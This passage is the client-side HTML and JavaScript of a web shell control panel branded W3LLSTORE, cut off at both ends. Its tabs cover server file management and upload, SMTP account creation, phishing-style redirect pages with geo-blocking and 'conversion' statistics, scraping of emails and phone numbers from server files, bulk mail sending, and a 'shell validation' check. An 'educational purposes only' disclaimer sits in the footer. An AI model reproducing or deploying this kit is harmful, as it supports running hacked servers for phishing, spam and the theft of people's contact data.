none;&quot;&gt;                    &lt;div class=&quot;result-header&quot;&gt;                        &lt;h4&gt;🔗 Redirect Results&lt;/h4&gt;                        &lt;div&gt;                            &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;copyResults(&#039;redirect-output&#039;)&quot;&gt;📋 Copy All&lt;/button&gt;                            &lt;button class=&quot;btn btn-sm btn-secondary&quot; onclick=&quot;showRedirectStats()&quot;&gt;📊 View Stats&lt;/button&gt;                        &lt;/div&gt;                    &lt;/div&gt;                    &lt;pre id=&quot;redirect-output&quot;&gt;&lt;/pre&gt;                &lt;/div&gt;                &lt;div id=&quot;redirect-stats&quot; class=&quot;stats-box&quot; style=&quot;display: none;&quot;&gt;                    &lt;div class=&quot;stats-header&quot;&gt;                        &lt;h4&gt;📊 Visitor Statistics (Advanced Session Storage)&lt;/h4&gt;                        &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;refreshStats()&quot;&gt;🔄 Refresh&lt;/button&gt;                    &lt;/div&gt;                    &lt;div class=&quot;stats-grid&quot;&gt;                        &lt;div class=&quot;stat-item&quot;&gt;                            &lt;div class=&quot;stat-number&quot; id=&quot;total-visits&quot;&gt;0&lt;/div&gt;                            &lt;div class=&quot;stat-label&quot;&gt;Total Visits&lt;/div&gt;                        &lt;/div&gt;                        &lt;div class=&quot;stat-item&quot;&gt;                            &lt;div class=&quot;stat-number&quot; id=&quot;unique-visits&quot;&gt;0&lt;/div&gt;                            &lt;div class=&quot;stat-label&quot;&gt;Unique Visits&lt;/div&gt;                        &lt;/div&gt;                        &lt;div class=&quot;stat-item&quot;&gt;                            &lt;div class=&quot;stat-number&quot; id=&quot;total-redirects&quot;&gt;0&lt;/div&gt;                            &lt;div class=&quot;stat-label&quot;&gt;Successful Redirects&lt;/div&gt;                        &lt;/div&gt;                        &lt;div class=&quot;stat-item&quot;&gt;                            &lt;div class=&quot;stat-number&quot; id=&quot;conversion-rate&quot;&gt;0%&lt;/div&gt;                            &lt;div class=&quot;stat-label&quot;&gt;Conversion Rate&lt;/div&gt;                        &lt;/div&gt;                    &lt;/div&gt;                    &lt;div id=&quot;detailed-stats&quot;&gt;&lt;/div&gt;                &lt;/div&gt;            &lt;/div&gt;            &lt;!-- Contact Extractor Tab --&gt;            &lt;div id=&quot;contact-extractor&quot; class=&quot;tab-content&quot;&gt;                &lt;div class=&quot;card-title&quot;&gt;📇 Contact Extractor&lt;/div&gt;                               <form>                    &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;scan-path&quot;&gt;Scan Path:&lt;/label&gt;                        <input type=text>                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;max-files&quot;&gt;Maximum Files to Scan:&lt;/label&gt;                        <input type=number>                    &lt;/div&gt;                                       &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;🔍 Extract Contacts&lt;/button&gt;                </form>                &lt;div id=&quot;extract-results&quot; class=&quot;result-box&quot; style=&quot;display: none;&quot;&gt;                    &lt;div class=&quot;result-header&quot;&gt;                        &lt;h4&gt;📇 Extraction Results&lt;/h4&gt;                        &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;copyResults(&#039;extract-output&#039;)&quot;&gt;📋 Copy All&lt;/button&gt;                    &lt;/div&gt;                    &lt;pre id=&quot;extract-output&quot;&gt;&lt;/pre&gt;                &lt;/div&gt;            &lt;/div&gt;            &lt;!-- Email Marketing Tab --&gt;            &lt;div id=&quot;email-marketing&quot; class=&quot;tab-content&quot;&gt;                &lt;div class=&quot;card-title&quot;&gt;✉️ Email Marketing&lt;/div&gt;                               <form>                    &lt;div class=&quot;grid grid-2&quot;&gt;                        &lt;div class=&quot;form-group&quot;&gt;                            &lt;label for=&quot;email-from-name&quot;&gt;From Name:&lt;/label&gt;                            <input type=text>                        &lt;/div&gt;                                               &lt;div class=&quot;form-group&quot;&gt;                            &lt;label for=&quot;email-from-email&quot;&gt;From Email:&lt;/label&gt;                            <input type=email>                        &lt;/div&gt;                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;email-subject&quot;&gt;Subject:&lt;/label&gt;                        <input type=text>                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;email-message&quot;&gt;Message (HTML supported):&lt;/label&gt;                        &lt;textarea id=&quot;email-message&quot; class=&quot;form-control&quot; rows=&quot;8&quot; required placeholder=&quot;Your email message here...&quot;&gt;&lt;/textarea&gt;                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;email-list&quot;&gt;Email List (one per line):&lt;/label&gt;                        &lt;textarea id=&quot;email-list&quot; class=&quot;form-control&quot; rows=&quot;10&quot; required placeholder=&quot;email1@example.com&amp;#10;email2@example.com&amp;#10;email3@example.com&quot;&gt;&lt;/textarea&gt;                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label&gt;                            <input type=checkbox> Use Custom SMTP (otherwise use server hosting direct send with limits)                        &lt;/label&gt;                    &lt;/div&gt;                                       &lt;div id=&quot;smtp-config-email&quot; style=&quot;display: none;&quot;&gt;                        &lt;div class=&quot;grid grid-2&quot;&gt;                            &lt;div class=&quot;form-group&quot;&gt;                                &lt;label for=&quot;smtp-host-email&quot;&gt;SMTP Host:&lt;/label&gt;                                <input type=text>                            &lt;/div&gt;                                                       &lt;div class=&quot;form-group&quot;&gt;                                &lt;label for=&quot;smtp-port-email&quot;&gt;SMTP Port:&lt;/label&gt;                                <input type=number>                            &lt;/div&gt;                        &lt;/div&gt;                                               &lt;div class=&quot;grid grid-2&quot;&gt;                            &lt;div class=&quot;form-group&quot;&gt;                                &lt;label for=&quot;smtp-username-email&quot;&gt;SMTP Username:&lt;/label&gt;                                <input type=text>                            &lt;/div&gt;                                                       &lt;div class=&quot;form-group&quot;&gt;                                &lt;label for=&quot;smtp-password-email&quot;&gt;SMTP Password:&lt;/label&gt;                                <input type=password>                            &lt;/div&gt;                        &lt;/div&gt;                    &lt;/div&gt;                                       &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;🚀 Send Email Campaign&lt;/button&gt;                </form>                &lt;div id=&quot;email-results&quot; class=&quot;result-box&quot; style=&quot;display: none;&quot;&gt;                    &lt;div class=&quot;result-header&quot;&gt;                        &lt;h4&gt;✉️ Email Campaign Results&lt;/h4&gt;                        &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;copyResults(&#039;email-output&#039;)&quot;&gt;📋 Copy Results&lt;/button&gt;                    &lt;/div&gt;                    &lt;pre id=&quot;email-output&quot;&gt;&lt;/pre&gt;                &lt;/div&gt;            &lt;/div&gt;            &lt;!-- Shell Validation Tab --&gt;            &lt;div id=&quot;shell-validation&quot; class=&quot;tab-content&quot;&gt;                &lt;div class=&quot;card-title&quot;&gt;🛡️ Shell Validation System&lt;/div&gt;                               &lt;div class=&quot;mb-20&quot;&gt;                    &lt;h4&gt;🔍 Validation Features:&lt;/h4&gt;                    &lt;div class=&quot;grid grid-3&quot;&gt;                        &lt;div class=&quot;info-item&quot;&gt;                            &lt;div class=&quot;label&quot;&gt;Server Information&lt;/div&gt;                            &lt;div class=&quot;value&quot;&gt;Complete system details&lt;/div&gt;                        &lt;/div&gt;                        &lt;div class=&quot;info-item&quot;&gt;                            &lt;div class=&quot;label&quot;&gt;ZIP Functionality&lt;/div&gt;                            &lt;div class=&quot;value&quot;&gt;Archive creation test&lt;/div&gt;                        &lt;/div&gt;                        &lt;div class=&quot;info-item&quot;&gt;                            &lt;div class=&quot;label&quot;&gt;Email Delivery&lt;/div&gt;                            &lt;div class=&quot;value&quot;&gt;SMTP capability test&lt;/div&gt;                        &lt;/div&gt;                    &lt;/div&gt;                &lt;/div&gt;                               <form>                    &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;validation-email&quot;&gt;Your Email (for test delivery):&lt;/label&gt;                        <input type=email>                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;validation-id&quot;&gt;Validation ID:&lt;/label&gt;                        <input type=number>                    &lt;/div&gt;                                       &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;🔍 Run Validation&lt;/button&gt;                </form>                &lt;div id=&quot;validation-results&quot; class=&quot;result-box&quot; style=&quot;display: none;&quot;&gt;                    &lt;div class=&quot;result-header&quot;&gt;                        &lt;h4&gt;🛡️ Validation Results&lt;/h4&gt;                        &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;copyResults(&#039;validation-output&#039;)&quot;&gt;📋 Copy Results&lt;/button&gt;                    &lt;/div&gt;                    &lt;pre id=&quot;validation-output&quot;&gt;&lt;/pre&gt;                &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;        &lt;!-- Footer --&gt;        &lt;div class=&quot;footer&quot;&gt;            &lt;div class=&quot;footer-links&quot;&gt;                &lt;a href=&quot;https://w3llstore.com/&quot; target=&quot;_blank&quot; class=&quot;footer-link&quot;&gt;                    🌐 W3LLSTORE Website                &lt;/a&gt;                &lt;a href=&quot;https://t.me/W3LLSTORE_ADMIN&quot; target=&quot;_blank&quot; class=&quot;footer-link&quot;&gt;                    📞 Contact Admin                &lt;/a&gt;                &lt;a href=&quot;https://t.me/+vJV6tnAIbIU2ZWRi&quot; target=&quot;_blank&quot; class=&quot;footer-link&quot;&gt;                    📢 Join Channel                &lt;/a&gt;                &lt;a href=&quot;mailto:admin@w3llstore.com&quot; class=&quot;footer-link&quot;&gt;                    ✉️ Email Support                &lt;/a&gt;            &lt;/div&gt;            &lt;div class=&quot;footer-text&quot;&gt;                &copy; 2024 W3LLSTORE Team | Professional Cyber Security Solutions<br>                Samurai Japanese Technology Edition | For Educational &amp; Security Testing Purposes Only            &lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;!-- Modals --&gt;       &lt;!-- Create File Modal --&gt;    &lt;div id=&quot;create-file-modal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h3 class=&quot;modal-title&quot;&gt;📄 Create New File</h3>                &lt;button class=&quot;modal-close&quot; onclick=&quot;hideModal(&#039;create-file-modal&#039;)&quot;&gt;&amp;times;&lt;/button&gt;            &lt;/div&gt;            <form>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;new-filename&quot;&gt;File Name:&lt;/label&gt;                    <input type=text>                &lt;/div&gt;                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;new-file-content&quot;&gt;File Content:&lt;/label&gt;                    &lt;textarea id=&quot;new-file-content&quot; class=&quot;form-control&quot; rows=&quot;10&quot; placeholder=&quot;Enter file content here...&quot;&gt;&lt;/textarea&gt;                &lt;/div&gt;                &lt;div class=&quot;flex gap-10&quot;&gt;                    &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;📄 Create File&lt;/button&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;hideModal(&#039;create-file-modal&#039;)&quot;&gt;Cancel&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;    &lt;!-- Create Folder Modal --&gt;    &lt;div id=&quot;create-folder-modal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h3 class=&quot;modal-title&quot;&gt;📁 Create New Folder</h3>                &lt;button class=&quot;modal-close&quot; onclick=&quot;hideModal(&#039;create-folder-modal&#039;)&quot;&gt;&amp;times;&lt;/button&gt;            &lt;/div&gt;            <form>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;new-foldername&quot;&gt;Folder Name:&lt;/label&gt;                    <input type=text>                &lt;/div&gt;                &lt;div class=&quot;flex gap-10&quot;&gt;                    &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;📁 Create Folder&lt;/button&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;hideModal(&#039;create-folder-modal&#039;)&quot;&gt;Cancel&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;    &lt;!-- Upload Modal --&gt;    &lt;div id=&quot;upload-modal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h3 class=&quot;modal-title&quot;&gt;⬆️ Upload File</h3>                &lt;button class=&quot;modal-close&quot; onclick=&quot;hideModal(&#039;upload-modal&#039;)&quot;&gt;&amp;times;&lt;/button&gt;            &lt;/div&gt;            <form>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;upload-file&quot;&gt;Select File:&lt;/label&gt;                    <input type=file>                &lt;/div&gt;                &lt;div class=&quot;form-group&quot;&gt;                    &lt;div class=&quot;progress-bar&quot;&gt;                        &lt;div class=&quot;progress-fill&quot; id=&quot;upload-progress&quot;&gt;&lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;progress-text&quot; id=&quot;upload-text&quot;&gt;Ready to upload&lt;/div&gt;                &lt;/div&gt;                &lt;div class=&quot;flex gap-10&quot;&gt;                    &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;⬆️ Upload File&lt;/button&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;hideModal(&#039;upload-modal&#039;)&quot;&gt;Cancel&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;    &lt;!-- Edit File Modal --&gt;    &lt;div id=&quot;edit-file-modal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot; style=&quot;max-width: 1000px;&quot;&gt;            &lt;div class=&quot;modal-header&quot;&gt;                &lt;h3 class=&quot;modal-title&quot;&gt;✏️ Edit File: &lt;span id=&quot;edit-filename&quot;&gt;&lt;/span&gt;</h3>                &lt;button class=&quot;modal-close&quot; onclick=&quot;hideModal(&#039;edit-file-modal&#039;)&quot;&gt;&amp;times;&lt;/button&gt;            &lt;/div&gt;            <form>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;edit-file-content&quot;&gt;File Content:&lt;/label&gt;                    &lt;textarea id=&quot;edit-file-content&quot; class=&quot;form-control&quot; rows=&quot;20&quot; style=&quot;font-family: &#039;Courier New&#039;, monospace; font-size: 13px;&quot;&gt;&lt;/textarea&gt;                &lt;/div&gt;                &lt;div class=&quot;flex gap-10&quot;&gt;                    &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;💾 Save Changes&lt;/button&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;hideModal(&#039;edit-file-modal&#039;)&quot;&gt;Cancel&lt;/button&gt;                &lt;/div&gt;                <input type=hidden>            </form>        &lt;/div&gt;    &lt;/div&gt;    &lt;!-- Loading Overlay --&gt;    &lt;div id=&quot;loading-overlay&quot; class=&quot;loading-overlay&quot; style=&quot;display: none;&quot;&gt;        &lt;div class=&quot;loading-content&quot;&gt;            &lt;div class=&quot;loading-spinner&quot;&gt;&lt;/div&gt;            &lt;div id=&quot;loading-text&quot;&gt;Processing...&lt;/div&gt;        &lt;/div&gt;    &lt;/div&gt;    &lt;!-- JavaScript --&gt;    &lt;script&gt;        // ==================== GLOBAL VARIABLES ====================        let currentTab = &#039;file-manager&#039;;        let currentRedirectId = null;        // ==================== TAB MANAGEMENT ====================        function switchTab(tabId) {            // Hide all tab contents            const tabContents = document.querySelectorAll(&#039;.tab-content&#039;);            tabContents.forEach(content =&gt; content.classList.remove(&#039;active&#039;));                       // Remove active class from all tabs            const tabs = document.querySelectorAll(&#039;.tab&#039;);            tabs.forEach(tab =&gt; tab.classList.remove(&#039;active&#039;));                       // Show selected tab content            document.getElementById(tabId).classList.add(&#039;active&#039;);                       // Add active class to selected tab            event.target.classList.add(&#039;active&#039;);                       currentTab = tabId;        }        // ==================== MODAL MANAGEMENT ====================        function showModal(modalId) {            document.getElementById(modalId).classList.add(&#039;active&#039;);            document.body.style.overflow = &#039;hidden&#039;;        }        function hideModal(modalId) {            document.getElementById(modalId).classList.remove(&#039;active&#039;);            document.body.style.overflow = &#039;auto&#039;;        }        // Close modal when clicking outside        document.addEventListener(&#039;click&#039;, function(e) {            if (e.target.classList.contains(&#039;modal&#039;)) {                hideModal(e.target.id);            }        });        // ==================== LOADING MANAGEMENT ====================        function showLoading(text = &#039;Processing...&#039;) {            document.getElementById(&#039;loading-text&#039;).textContent = text;            document.getElementById(&#039;loading-overlay&#039;).style.display = &#039;flex&#039;;        }        function hideLoading() {            document.getElementById(&#039;loading-overlay&#039;).style.display = &#039;none&#039;;        }        // ==================== NOTIFICATION SYSTEM ====================        function showNotification(message, type = &#039;info&#039;) {            const notification = document.createElement(&#039;div&#039;);            notification.className = `notification ${type}`;            notification.innerHTML = `                &lt;div style=&quot;display: flex; justify-content: space-between; align-items: center;&quot;&gt;                    &lt;span&gt;${message}&lt;/span&gt;                    &lt;button onclick=&quot;this.parentElement.parentElement.remove()&quot; style=&quot;background: none; border: none; color: var(--text-muted); cursor: pointer; font-size: 18px; padding: 0 5px;&quot;&gt;&amp;times;&lt;/button&gt;                &lt;/div&gt;            `;                       document.body.appendChild(notification);                       // Show notification            setTimeout(() =&gt; notification.classList.add(&#039;show&#039;), 100);                       // Auto remove after 5 seconds            setTimeout(() =&gt; {                notification.classList.remove(&#039;show&#039;);                setTimeout(() =&gt; notification.remove(), 300);            }, 5000);        }        // ==================== UTILITY FUNCTIONS ====================        function copyResults(elementId) {            const element = document.getElementById(elementId);            if (element) {                navigator.clipboard.writeText(element.textContent).then(() =&gt; {                    showNotification(&#039;Results copied to clipboard!&#039;, &#039;success&#039;);                }).catch(() =&gt; {                    // Fallback for older browsers                    const textArea = document.createElement(&#039;textarea&#039;);                    textArea.value = element.textContent;                    document.body.appendChild(textArea);                    textArea.select();                    document.execCommand(&#039;copy&#039;);                    document.body.removeChild(textArea);                    showNotification(&#039;Results copied to clipboard!&#039;, &#039;success&#039;);                });            }        }        function formatFileSize(bytes) {            if (bytes === 0) return &#039;0 Bytes&#039;;            const k = 1024;            const sizes = [&#039;Bytes&#039;, &#039;KB&#039;, &#039;MB&#039;, &#039;GB&#039;];            const i = Math.floor(Math.log(bytes) / Math.log(k));            return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + &#039; &#039; + sizes[i];        }        // ==================== AJAX HELPER ====================        function makeRequest(url, method, data, callback, errorCallback) {            const xhr = new XMLHttpRequest();            xhr.open(method, url, true);                       xhr.onreadystatechange = function() {                if (xhr.readyState === 4) {                    hideLoading();                    if (xhr.status === 200) {                        try {                            const response = JSON.parse(xhr.responseText);                            callback(response);                        } catch (e) {                            callback({status: false, message: &#039;Invalid server response&#039;});                        }                    } else {                        if (errorCallback) {                            errorCallback(&#039;Network error: &#039; + xhr.status);                        } else {                            showNotification(&#039;Network error: &#039; + xhr.status, &#039;error&#039;);                        }                    }                }            };                       if (method === &#039;POST&#039; &amp;&amp; !(data instanceof FormData)) {                xhr.setRequestHeader(&#039;Content-Type&#039;, &#039;application/x-www-form-urlencoded&#039;);                const formData = new URLSearchParams(data).toString();                xhr.send(formData);            } else {                xhr.send(data);            }        }        // ==================== SMTP CREATOR FUNCTIONS ====================        function createSingleSMTP() {            showLoading(&#039;Creating SMTP account using exact reference method...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {action: &#039;create_single_smtp&#039;}, function(response) {                const resultsDiv = document.getElementById(&#039;smtp-results&#039;);                const outputDiv = document.getElementById(&#039;smtp-output&#039;);                               if (response.status) {                    outputDiv.textContent = response.smtp_data || response.message;                    showNotification(&#039;SMTP account created successfully!&#039;, &#039;success&#039;);                } else {                    outputDiv.textContent = response.message || &#039;Failed to create SMTP account&#039;;                    showNotification(&#039;Failed to create SMTP account&#039;, &#039;error&#039;);                }                               resultsDiv.style.display = &#039;block&#039;;            });        }        // ==================== REDIRECT CREATOR FUNCTIONS ====================        document.getElementById(&#039;redirect-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const targetUrl = document.getElementById(&#039;target-url&#039;).value;            const customMessage = document.getElementById(&#039;custom-message&#039;).value;            const delay = document.getElementById(&#039;delay&#039;).value;            const blockedCountries = document.getElementById(&#039;blocked-countries&#039;).value;            const useCaptcha = document.getElementById(&#039;use-captcha&#039;).checked;                       if (!targetUrl) {                showNotification(&#039;Please enter a target URL&#039;, &#039;warning&#039;);                return;            }                       showLoading(&#039;Creating redirect files...&#039;);                       const data = {                action: &#039;create_redirect&#039;,                target_url: targetUrl,                custom_message: customMessage,                delay: delay,                blocked_countries: blockedCountries,                use_captcha: useCaptcha            };                       makeRequest(&#039;&#039;, &#039;POST&#039;, data, function(response) {                const resultsDiv = document.getElementById(&#039;redirect-results&#039;);                const outputDiv = document.getElementById(&#039;redirect-output&#039;);                               if (response.status) {                    let output = `✅ Redirect files created successfully!\n\n`;                    output += `📁 Files created:\n`;                    output += `&bull; ${response.redirect_id}.php (PHP version)\n`;                    output += `&bull; ${response.redirect_id}_php7.php (PHP7 version)\n`;                    output += `&bull; ${response.redirect_id}.html (HTML version)\n\n`;                    output += `🔗 Access URLs:\n`;                    output += `&bull; ${window.location.origin}${window.location.pathname.replace(/[^/]*$/, &#039;&#039;)}${response.redirect_id}.php\n`;                    output += `&bull; ${window.location.origin}${window.location.pathname.replace(/[^/]*$/, &#039;&#039;)}${response.redirect_id}_php7.php\n`;                    output += `&bull; ${window.location.origin}${window.location.pathname.replace(/[^/]*$/, &#039;&#039;)}${response.redirect_id}.html\n\n`;                    output += `📊 Statistics file: ${response.redirect_id}_stats.json\n`;                    output += `🎯 Target URL: ${targetUrl}\n`;                    output += `⏱️ Delay: ${delay}ms\n`;                    output += `🚫 Blocked countries: ${blockedCountries || &#039;None&#039;}\n`;                    output += `🛡️ Captcha protection: ${useCaptcha ? &#039;Enabled&#039; : &#039;Disabled&#039;}`;                                       outputDiv.textContent = output;                    currentRedirectId = response.redirect_id;                    showNotification(&#039;Redirect files created successfully!&#039;, &#039;success&#039;);                } else {                    outputDiv.textContent = response.message || &#039;Failed to create redirect files&#039;;                    showNotification(&#039;Failed to create redirect files&#039;, &#039;error&#039;);                }                               resultsDiv.style.display = &#039;block&#039;;            });        });        function showRedirectStats() {            if (!currentRedirectId) {                showNotification(&#039;No redirect ID available&#039;, &#039;warning&#039;);                return;            }                       showLoading(&#039;Loading statistics...&#039;);                       makeRequest(&#039;&#039;, &#039;POST&#039;, {                action: &#039;get_redirect_stats&#039;,                redirect_id: currentRedirectId            }, function(response) {                if (response.status &amp;&amp; response.stats) {                    const stats = response.stats;                                       document.getElementById(&#039;total-visits&#039;).textContent = stats.total_visits || 0;                    document.getElementById(&#039;unique-visits&#039;).textContent = stats.unique_visits || 0;                    document.getElementById(&#039;total-redirects&#039;).textContent = stats.redirects || 0;                    document.getElementById(&#039;conversion-rate&#039;).textContent = stats.conversion_rate + &#039;%&#039; || &#039;0%&#039;;                                       // Show detailed stats                    let detailedHtml = &#039;&lt;h5&gt;📈 Daily Statistics:&lt;/h5&gt;&#039;;                    if (stats.daily_stats &amp;&amp; Object.keys(stats.daily_stats).length &gt; 0) {                        detailedHtml += &#039;&lt;div class=&quot;grid grid-3&quot; style=&quot;margin-top: 15px;&quot;&gt;&#039;;                        Object.entries(stats.daily_stats).slice(-7).forEach(([date, data]) =&gt; {                            detailedHtml += `                                &lt;div class=&quot;info-item&quot;&gt;                                    &lt;div class=&quot;label&quot;&gt;${date}&lt;/div&gt;                                    &lt;div class=&quot;value&quot;&gt;Visits: ${data.visits}, Redirects: ${data.redirects}&lt;/div&gt;                                &lt;/div&gt;                            `;                        });                        detailedHtml += &#039;&lt;/div&gt;&#039;;                    } else {                        detailedHtml += &#039;&lt;p style=&quot;color: var(--text-muted); margin-top: 10px;&quot;&gt;No daily statistics available yet.&lt;/p&gt;&#039;;                    }                                       document.getElementById(&#039;detailed-stats&#039;).innerHTML = detailedHtml;                    document.getElementById(&#039;redirect-stats&#039;).style.display = &#039;block&#039;;                                       showNotification(&#039;Statistics loaded successfully!&#039;, &#039;success&#039;);                } else {                    showNotification(&#039;Failed to load statistics&#039;, &#039;error&#039;);                }            });        }        function refreshStats() {            showRedirectStats();        }        // ==================== CONTACT EXTRACTOR FUNCTIONS ====================        document.getElementById(&#039;extract-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const scanPath = document.getElementById(&#039;scan-path&#039;).value;            const maxFiles = document.getElementById(&#039;max-files&#039;).value;                       if (!scanPath) {                showNotification(&#039;Please enter a scan path&#039;, &#039;warning&#039;);                return;            }                       showLoading(&#039;Extracting contacts... This may take a while...&#039;);                       const data = {                action: &#039;extract_contacts&#039;,                scan_path: scanPath,                max_files: maxFiles            };                       makeRequest(&#039;&#039;, &#039;POST&#039;, data, function(response) {                const resultsDiv = document.getElementById(&#039;extract-results&#039;);                const outputDiv = document.getElementById(&#039;extract-output&#039;);                               if (response.status) {                    let output = `✅ Contact extraction completed!\n\n`;                    output += `📊 Extraction Statistics:\n`;                    output += `&bull; Files scanned: ${response.stats.files_scanned}\n`;                    output += `&bull; Emails found: ${response.stats.emails_found}\n`;                    output += `&bull; Phone numbers found: ${response.stats.phones_found}\n`;                    output += `&bull; Scan time: ${response.stats.scan_time} seconds\n`;                    output += `&bull; Scan path: ${response.stats.scan_path}\n\n`;                                       if (response.emails &amp;&amp; response.emails.length &gt; 0) {                        output += `📧 Email Addresses (${response.emails.length}):\n`;                        response.emails.forEach(email =&gt; {                            output += `&bull; ${email}\n`;                        });                        output += &#039;\n&#039;;                    }                                       if (response.phones &amp;&amp; response.phones.length &gt; 0) {                        output += `📞 Phone Numbers (${response.phones.length}):\n`;                        response.phones.forEach(phone =&gt; {                            output += `&bull; ${phone}\n`;                        });                    }                                       outputDiv.textContent = output;                    showNotification(`Found ${response.stats.emails_found} emails and ${response.stats.phones_found} phone numbers!`, &#039;success&#039;);                } else {                    outputDiv.textContent = response.message || &#039;Failed to extract contacts&#039;;                    showNotification(&#039;Failed to extract contacts&#039;, &#039;error&#039;);                }                               resultsDiv.style.display = &#039;block&#039;;            });        });        // ==================== EMAIL MARKETING FUNCTIONS ====================        document.getElementById(&#039;use-custom-smtp-email&#039;).addEventListener(&#039;change&#039;, function() {            const smtpConfig = document.getElementById(&#039;smtp-config-email&#039;);            smtpConfig.style.display = this.checked ? &#039;block&#039; : &#039;none&#039;;        });        document.getElementById(&#039;email-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const fromName = document.getElementById(&#039;email-from-name&#039;).value;            const fromEmail = document.getElementById(&#039;email-from-email&#039;).value;            const subject = document.getElementById(&#039;email-subject&#039;).value;            const message = document.getElementById(&#039;email-message&#039;).value;            const emails = document.getElementById(&#039;email-list&#039;).value;            const useCustomSMTP = document.getElementById(&#039;use-custom-smtp-email&#039;).checked;                       if (!fromName || !fromEmail || !subject || !message || !emails) {                showNotification(&#039;Please fill in all required fields&#039;, &#039;warning&#039;);                return;            }                       const emailCount = emails.split(&#039;\n&#039;).filter(email =&gt; email.trim()).length;            if (emailCount === 0) {                showNotification(&#039;Please enter at least one email address&#039;, &#039;warning&#039;);                return;            }                       showLoading(`Sending emails to ${emailCount} recipients...`);                       const data = {                action: &#039;send_emails&#039;,                from_name: fromName,                from_email: fromEmail,                subject: subject,                message: message,                emails: emails,                use_custom_smtp: useCustomSMTP            };                       if (useCustomSMTP) {                data.smtp_host = document.getElementById(&#039;smtp-host-email&#039;).value;                data.smtp_port = document.getElementById(&#039;smtp-port-email&#039;).value;                data.smtp_username = document.getElementById(&#039;smtp-username-email&#039;).value;                data.smtp_password = document.getElementById(&#039;smtp-password-email&#039;).value;            }                       makeRequest(&#039;&#039;, &#039;POST&#039;, data, function(response) {                const resultsDiv = document.getElementById(&#039;email-results&#039;);                const outputDiv = document.getElementById(&#039;email-output&#039;);                               if (response.status) {                    let output = `✅ Email campaign completed!\n\n`;                    output += `📊 Campaign Statistics:\n`;                    output += `&bull; Total processed: ${response.stats.total_processed}\n`;                    output += `&bull; Successfully sent: ${response.stats.sent}\n`;                    output += `&bull; Failed: ${response.stats.failed}\n`;                    output += `&bull; Success rate: ${response.stats.success_rate}%\n`;                    output += `&bull; Execution time: ${response.stats.execution_time} seconds\n\n`;                    output += `📝 Detailed Results:\n`;                    response.results.forEach(result =&gt; {                        output += `${result}\n`;                    });                                       outputDiv.textContent = output;                    showNotification(`Campaign completed! Sent: ${response.stats.sent}, Failed: ${response.stats.failed}`, &#039;success&#039;);                } else {                    outputDiv.textContent = response.message || &#039;Failed to send emails&#039;;                    showNotification(&#039;Failed to send emails&#039;, &#039;error&#039;);                }                               resultsDiv.style.display = &#039;block&#039;;            });        });        // ==================== SHELL VALIDATION FUNCTIONS ====================        document.getElementById(&#039;validation-form&#039;).addEventListener(&#039;submit&#039;, function(e) {            e.preventDefault();                       const email = document.getElementById(&#039;validation-email&#039;).value;            const id = document.getElementById(&#039;validation-id&#039;).value;                       if (!email || !id) {                showNotification(&#039;Please fill in all fields&#039;, &#039;warning&#039;);                return;            }                       showLoading(&#039;Running validation tests...&#039;);                       const url = `?valid=1&amp;email=${encodeURIComponent(email)}&amp;id=${encodeURIComponent(id)}`;                       fetch(url)                .then(response =&gt; response.json())                .then(response =&gt; {                    hideLoading();                    const resultsDiv = document.getElementById(&#039;validation-results&#039;);                    const outputDiv = document.getElementById(&#039;validation-output&#039;);                                       if (response.status === &#039;success&#039;) {                        let output = `✅ Shell validation completed successfully!\n\n`;                        output += 